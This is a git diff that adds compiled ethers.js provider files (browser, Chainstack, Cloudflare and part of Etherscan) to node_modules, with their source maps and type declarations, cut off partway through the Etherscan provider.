+{"version":3,"file":"provider-browser.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-browser.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,yBAAyB,EAAE,MAAM,uBAAuB,CAAC;AAElE,OAAO,KAAK,EAER,YAAY,EAAE,cAAc,EAAE,aAAa,EAC3C,aAAa,EAChB,MAAM,uBAAuB,CAAC;AAC/B,OAAO,KAAK,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAExD;;;;GAIG;AACH,MAAM,WAAW,eAAe;IAC5B;;OAEG;IACH,OAAO,CAAC,OAAO,EAAE;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,CAAC,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAAA;KAAE,GAAG,OAAO,CAAC,GAAG,CAAC,CAAC;CACjG;AAED;;;GAGG;AACH,MAAM,MAAM,yBAAyB,GAAG;IACpC,MAAM,EAAE,oBAAoB,CAAC;IAC7B,OAAO,EAAE;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,CAAA;KAAE,CAAA;CAClD,GAAG;IACA,MAAM,EAAE,sBAAsB,CAAC;IAC/B,MAAM,EAAE,GAAG,CAAA;CACd,GAAG;IACA,MAAM,EAAE,qBAAqB,CAAC;IAC9B,KAAK,EAAE,KAAK,CAAA;CACf,CAAC;AAEF;;GAEG;AACH,MAAM,WAAW,mBAAmB;IAChC,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,MAAM,CAAC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;OAEG;IACG,SAAS,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;IAYrD,SAAS,CAAC,OAAO,CAAC,EAAE,MAAM,GAAG,MAAM,GAAG,OAAO,CAAC,aAAa,CAAC;IAgBlE;;;;OAIG;WACU,QAAQ,CAAC,OAAO,CAAC,EAAE,sBAAsB,GAAG,OAAO,CAAC,IAAI,GAAG,eAAe,CAAC;CAsG3F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-browser.js b/node_modules/ethers/lib.esm/providers/provider-browser.js new file mode 100644 index 000000000000..ffac02d2ffd9 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-browser.js @@ -0,0 +1,200 @@ +import { assertArgument, makeError } from "../utils/index.js"; +import { JsonRpcApiPollingProvider } from "./provider-jsonrpc.js"; +; +/** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ +export class BrowserProvider extends JsonRpcApiPollingProvider { + #request; + #providerInfo; + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum, network, _options) { + // Copy the options + const options = Object.assign({}, ((_options != null) ? _options : {}), { batchMaxCount: 1 }); + assertArgument(ethereum && ethereum.request, "invalid EIP-1193 provider", "ethereum", ethereum); + super(network, options); + this.#providerInfo = null; + if (_options && _options.providerInfo) { + this.#providerInfo = _options.providerInfo; + } + this.#request = async (method, params) => { + const payload = { method, params }; + this.emit("debug", { action: "sendEip1193Request", payload }); + try { + const result = await ethereum.request(payload); + this.emit("debug", { action: "receiveEip1193Result", result }); + return result; + } + catch (e) { + const error = new Error(e.message); + error.code = e.code; + error.data = e.data; + error.payload = payload; + this.emit("debug", { action: "receiveEip1193Error", error }); + throw error; + } + }; + } + get providerInfo() { + return this.#providerInfo; + } + async send(method, params) { + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + assertArgument(!Array.isArray(payload), "EIP-1193 does not support batch request", "payload", payload); + try { + const result = await this.#request(payload.method, payload.params || []); + return [{ id: payload.id, result }]; + } + catch (e) { + return [{ + id: payload.id, + error: { code: e.code, data: e.data, message: e.message } + }]; + } + } + getRpcError(payload, error) { + error = JSON.parse(JSON.stringify(error)); + // EIP-1193 gives us some machine-readable error codes, so rewrite + // them into Ethers standard errors. + switch (error.error.code || -1) { + case 4001: + error.error.message = `ethers-user-denied: ${error.error.message}`; + break; + case 4200: + error.error.message = `ethers-unsupported: ${error.error.message}`; + break; + } + return super.getRpcError(payload, error); + } + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + async hasSigner(address) { + if (address == null) { + address = 0; + } + const accounts = await this.send("eth_accounts", []); + if (typeof (address) === "number") { + return (accounts.length > address); + } + address = address.toLowerCase(); + return accounts.filter((a) => (a.toLowerCase() === address)).length !== 0; + } + async getSigner(address) { + if (address == null) { + address = 0; + } + if (!(await this.hasSigner(address))) { + try { + await this.#request("eth_requestAccounts", []); + } + catch (error) { + const payload = error.payload; + throw this.getRpcError(payload, { id: payload.id, error }); + } + } + return await super.getSigner(address); + } + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static async discover(options) { + if (options == null) { + options = {}; + } + if (options.provider) { + return new BrowserProvider(options.provider); + } + const context = options.window ? options.window : + (typeof (window) !== "undefined") ? window : null; + if (context == null) { + return null; + } + const anyProvider = options.anyProvider; + if (anyProvider && context.ethereum) { + return new BrowserProvider(context.ethereum); + } + if (!("addEventListener" in context && "dispatchEvent" in context + && "removeEventListener" in context)) { + return null; + } + const timeout = options.timeout ? options.timeout : 300; + if (timeout === 0) { + return null; + } + return await (new Promise((resolve, reject) => { + let found = []; + const addProvider = (event) => { + found.push(event.detail); + if (anyProvider) { + finalize(); + } + }; + const finalize = () => { + clearTimeout(timer); + if (found.length) { + // If filtering is provided: + if (options && options.filter) { + // Call filter, with a copies of found provider infos + const filtered = options.filter(found.map(i => Object.assign({}, (i.info)))); + if (filtered == null) { + // No provider selected + resolve(null); + } + else if (filtered instanceof BrowserProvider) { + // Custom provider created + resolve(filtered); + } + else { + // Find the matching provider + let match = null; + if (filtered.uuid) { + const matches = found.filter(f => (filtered.uuid === f.info.uuid)); + // @TODO: What should happen if multiple values + // for the same UUID? + match = matches[0]; + } + if (match) { + const { provider, info } = match; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + else { + reject(makeError("filter returned unknown info", "UNSUPPORTED_OPERATION", { + value: filtered + })); + } + } + } + else { + // Pick the first found provider + const { provider, info } = found[0]; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + } + else { + // Nothing found + resolve(null); + } + context.removeEventListener("eip6963:announceProvider", addProvider); + }; + const timer = setTimeout(() => { finalize(); }, timeout); + context.addEventListener("eip6963:announceProvider", addProvider); + context.dispatchEvent(new Event("eip6963:requestProvider")); + })); + } +} +//# sourceMappingURL=provider-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-browser.js.map b/node_modules/ethers/lib.esm/providers/provider-browser.js.map new file mode 100644 index 000000000000..736cd5f598ab --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-browser.js","sourceRoot":"","sources":["../../src.ts/providers/provider-browser.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,cAAc,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAE9D,OAAO,EAAE,yBAAyB,EAAE,MAAM,uBAAuB,CAAC;AAmBjE,CAAC;AAmFF;;;;GAIG;AACH,MAAM,OAAO,eAAgB,SAAQ,yBAAyB;IAC1D,QAAQ,CAA6E;IAErF,aAAa,CAA6B;IAE1C;;;OAGG;IACH,YAAY,QAAyB,EAAE,OAAoB,EAAE,QAAiC;QAE1F,mBAAmB;QACnB,MAAM,OAAO,GAA8B,MAAM,CAAC,MAAM,CAAC,EAAG,EAC1D,CAAC,CAAC,QAAQ,IAAI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,SAAS,EAAE;oCAC7C,YAAY,EAAE,IAAI;iCACrB,CAAC,CAAC,CAAC;6BACP;iCAAM;gCACH,MAAM,CAAC,SAAS,CAAC,8BAA8B,EAAE,uBAAuB,EAAE;oCACtE,KAAK,EAAE,QAAQ;iCAClB,CAAC,CAAC,CAAC;6BACP;yBACJ;qBAEJ;yBAAM;wBAEH,gCAAgC;wBAChC,MAAM,EAAE,QAAQ,EAAE,IAAI,EAAE,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;wBACpC,OAAO,CAAC,IAAI,eAAe,CAAC,QAAQ,EAAE,SAAS,EAAE;4BAC7C,YAAY,EAAE,IAAI;yBACrB,CAAC,CAAC,CAAC;qBACP;iBAEJ;qBAAM;oBACH,gBAAgB;oBAChB,OAAO,CAAC,IAAI,CAAC,CAAC;iBACjB;gBAED,OAAO,CAAC,mBAAmB,CAAM,0BAA0B,EACzD,WAAW,CAAC,CAAC;YACnB,CAAC,CAAC;YAEF,MAAM,KAAK,GAAG,UAAU,CAAC,GAAG,EAAE,GAAG,QAAQ,EAAE,CAAC,CAAC,CAAC,EAAE,OAAO,CAAC,CAAC;YAEzD,OAAO,CAAC,gBAAgB,CAAM,0BAA0B,EACtD,WAAW,CAAC,CAAC;YAEf,OAAO,CAAC,aAAa,CAAC,IAAI,KAAK,CAAC,yBAAyB,CAAC,CAAC,CAAC;QAChE,CAAC,CAAC,CAAC,CAAC;IACR,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-chainstack.d.ts b/node_modules/ethers/lib.esm/providers/provider-chainstack.d.ts new file mode 100644 index 000000000000..dfc4f8ed76e0 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-chainstack.d.ts @@ -0,0 +1,46 @@ +/** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ +export declare class ChainstackProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key for the Chainstack connection. + */ + readonly apiKey: string; + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network: Network, apiKey?: null | string): FetchRequest; +} +//# sourceMappingURL=provider-chainstack.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-chainstack.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-chainstack.d.ts.map new file mode 100644 index 000000000000..54601b2dea64 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-chainstack.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-chainstack.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-chainstack.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AA6B/C;;;;;;;;GAQG;AACH,qBAAa,kBAAmB,SAAQ,eAAgB,YAAW,oBAAoB;IACnF;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAEzB;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAYzD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;CAe5E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-chainstack.js b/node_modules/ethers/lib.esm/providers/provider-chainstack.js new file mode 100644 index 000000000000..02b1c2e49155 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-chainstack.js @@ -0,0 +1,98 @@ +/** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ +import { defineProperties, FetchRequest, assertArgument } from "../utils/index.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +function getApiKey(name) { + switch (name) { + case "mainnet": return "39f1d67cedf8b7831010a665328c9197"; + case "arbitrum": return "0550c209db33c3abf4cc927e1e18cea1"; + case "bnb": return "98b5a77e531614387366f6fc5da097f8"; + case "matic": return "cd9d4d70377471aa7c142ec4a4205249"; + } + assertArgument(false, "unsupported network", "network", name); +} +function getHost(name) { + switch (name) { + case "mainnet": + return "ethereum-mainnet.core.chainstack.com"; + case "arbitrum": + return "arbitrum-mainnet.core.chainstack.com"; + case "bnb": + return "bsc-mainnet.core.chainstack.com"; + case "matic": + return "polygon-mainnet.core.chainstack.com"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ +export class ChainstackProvider extends JsonRpcProvider { + /** + * The API key for the Chainstack connection. + */ + apiKey; + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = ChainstackProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new ChainstackProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === getApiKey(this._network.name)); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === getApiKey(network.name)) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("ChainstackProvider"); + return true; + }; + } + return request; + } +} +//# sourceMappingURL=provider-chainstack.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-chainstack.js.map b/node_modules/ethers/lib.esm/providers/provider-chainstack.js.map new file mode 100644 index 000000000000..a149d70f6bc1 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-chainstack.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-chainstack.js","sourceRoot":"","sources":["../../src.ts/providers/provider-chainstack.ts"],"names":[],"mappings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AAO,OAAO,CAAC;IACnB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-cloudflare.d.ts b/node_modules/ethers/lib.esm/providers/provider-cloudflare.d.ts new file mode 100644 index 000000000000..869651f449f0 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-cloudflare.d.ts @@ -0,0 +1,14 @@ +/** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * About Cloudflare... + */ +export declare class CloudflareProvider extends JsonRpcProvider { + constructor(_network?: Networkish); +} +//# sourceMappingURL=provider-cloudflare.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-cloudflare.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-cloudflare.d.ts.map new file mode 100644 index 000000000000..a7469a00c398 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-cloudflare.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-cloudflare.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-cloudflare.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAKH,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C;;GAEG;AACH,qBAAa,kBAAmB,SAAQ,eAAe;gBACvC,QAAQ,CAAC,EAAE,UAAU;CAMpC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-cloudflare.js b/node_modules/ethers/lib.esm/providers/provider-cloudflare.js new file mode 100644 index 000000000000..3ef2e319c5da --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-cloudflare.js @@ -0,0 +1,22 @@ +/** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ +import { assertArgument } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +/** + * About Cloudflare... + */ +export class CloudflareProvider extends JsonRpcProvider { + constructor(_network) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + assertArgument(network.name === "mainnet", "unsupported network", "network", _network); + super("https:/\/cloudflare-eth.com/", network, { staticNetwork: network }); + } +} +//# sourceMappingURL=provider-cloudflare.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-cloudflare.js.map b/node_modules/ethers/lib.esm/providers/provider-cloudflare.js.map new file mode 100644 index 000000000000..5cb493b366e5 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-cloudflare.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-cloudflare.js","sourceRoot":"","sources":["../../src.ts/providers/provider-cloudflare.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAIxD;;GAEG;AACH,MAAM,OAAO,kBAAmB,SAAQ,eAAe;IACnD,YAAY,QAAqB;QAC7B,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,SAAS,CAAC;SAAE;QAC/C,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QACvC,cAAc,CAAC,OAAO,CAAC,IAAI,KAAK,SAAS,EAAE,qBAAqB,EAAE,SAAS,EAAE,QAAQ,CAAC,CAAC;QACvF,KAAK,CAAC,8BAA8B,EAAE,OAAO,EAAE,EAAE,aAAa,EAAE,OAAO,EAAE,CAAC,CAAC;IAC/E,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-etherscan.d.ts b/node_modules/ethers/lib.esm/providers/provider-etherscan.d.ts new file mode 100644 index 000000000000..bb45e4fa1039 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-etherscan.d.ts @@ -0,0 +1,152 @@ +/** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan] + */ +import { Contract } from "../contract/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { NetworkPlugin } from "./plugins-network.js"; +import { PerformActionRequest } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import type { TransactionRequest } from "./provider.js"; +/** + * When subscribing to the ``"debug"`` event on an Etherscan-based + * provider, the events receive a **DebugEventEtherscanProvider** + * payload. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export type DebugEventEtherscanProvider = { + action: "sendRequest"; + id: number; + url: string; + payload: Record; +} | { + action: "receiveRequest"; + id: number; + result: any; +} | { + action: "receiveError"; + id: number; + error: any; +}; +/** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export declare class EtherscanPlugin extends NetworkPlugin { + /** + * The Etherscan API base URL. + */ + readonly baseUrl: string; + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl: string); + clone(): EtherscanPlugin; +} +/** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export declare class EtherscanProvider extends AbstractProvider { + #private; + /** + * The connected network. + */ + readonly network: Network; + /** + * The API key or null if using the community provided bandwidth. + */ + readonly apiKey: null | string; + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network?: Networkish, _apiKey?: string); + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl(): string; + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module: string, params: Record): string; + /** + * Returns the URL for using POST requests. + */ + getPostUrl(): string; + /** + * Returns the parameters for using POST requests. + */ + getPostData(module: string, params: Record): Record; + detectNetwork(): Promise; + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + fetch(module: string, params: Record, post?: boolean): Promise; + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction: TransactionRequest): Record; + /** + * Throws the normalized Etherscan error. + */ + _checkError(req: PerformActionRequest, error: Error, transaction: any): never; + _detectNetwork(): Promise; + _perform(req: PerformActionRequest): Promise; + getNetwork(): Promise; + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + getEtherPrice(): Promise; + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + getContract(_address: string): Promise; + isCommunityResource(): boolean; +} +//# sourceMappingURL=provider-etherscan.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-etherscan.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-etherscan.d.ts.map new file mode 100644 index 000000000000..89ec07ee3bcc --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-etherscan.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-etherscan.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-etherscan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AAGH,OAAO,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AAWhD,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AAGrD,OAAO,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AAC9D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAC;AASxD;;;;;;GAMG;AACH,MAAM,MAAM,2BAA2B,GAAG;IACtC,MAAM,EAAE,aAAa,CAAC;IACtB,EAAE,EAAE,MAAM,CAAC;IACX,GAAG,EAAE,MAAM,CAAC;IACZ,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAAA;CAC/B,GAAG;IACA,MAAM,EAAE,gBAAgB,CAAC;IACzB,EAAE,EAAE,MAAM,CAAC;IACX,MAAM,EAAE,GAAG,CAAA;CACd,GAAG;IACA,MAAM,EAAE,cAAc,CAAC;IACvB,EAAE,EAAE,MAAM,CAAC;IACX,KAAK,EAAE,GAAG,CAAA;CACb,CAAC;AAIF;;;;;GAKG;AACH,qBAAa,eAAgB,SAAQ,aAAa;IAC9C;;OAEG;IACH,QAAQ,CAAC,OAAO,EAAG,MAAM,CAAC;IAE1B;;;OAGG;gBACS,OAAO,EAAE,MAAM;IAK3B,KAAK,IAAI,eAAe;CAG3B;AAMD;;;;;;;;;GASG;AACH,qBAAa,iBAAkB,SAAQ,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,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,QAAQ,CAAC;IAc7D,mBAAmB,IAAI,OAAO;CAGjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-etherscan.js b/node_modules/ethers/lib.esm/providers/provider-etherscan.js new file mode 100644 index 000000000000..9f7942a66a63 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-etherscan.js @@ -0,0 +1,590 @@ +/** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan] + */ +import { AbiCoder } from "../abi/index.js"; +import { Contract } from "../contract/index.js"; +import { accessListify, Transaction } from "../transaction/index.js"; +import { defineProperties, hexlify, toQuantity, FetchRequest, assert, assertArgument, isError, +// parseUnits, +toUtf8String } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { NetworkPlugin } from "./plugins-network.js"; +import { showThrottleMessage } from "./community.js"; +const THROTTLE = 2000; +function isPromise(value) { + return (value && typeof (value.then) === "function"); +} +const EtherscanPluginId = "org.ethers.plugins.provider.Etherscan"; +/** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export class EtherscanPlugin extends NetworkPlugin { + /** + * The Etherscan API base URL. + */ + baseUrl; + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl) { + super(EtherscanPluginId); + defineProperties(this, { baseUrl }); + } + clone() { + return new EtherscanPlugin(this.baseUrl); + } +} +const skipKeys = ["enableCcipRead"]; +let nextId = 1; +/** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export class EtherscanProvider extends AbstractProvider { + /** + * The connected network. + */ + network; + /** + * The API key or null if using the community provided bandwidth. + */ + apiKey; + #plugin; + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network, _apiKey) { + const apiKey = (_apiKey != null) ? _apiKey : null; + super(); + const network = Network.from(_network); + this.#plugin = network.getPlugin(EtherscanPluginId); + defineProperties(this, { apiKey, network }); + } + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl() { + if (this.#plugin) { + return this.#plugin.baseUrl; + } + switch (this.network.name) { + case "mainnet": + return "https:/\/api.etherscan.io"; + case "goerli": + return "https:/\/api-goerli.etherscan.io"; + case "sepolia": + return "https:/\/api-sepolia.etherscan.io"; + case "holesky": + return "https:/\/api-holesky.etherscan.io"; + case 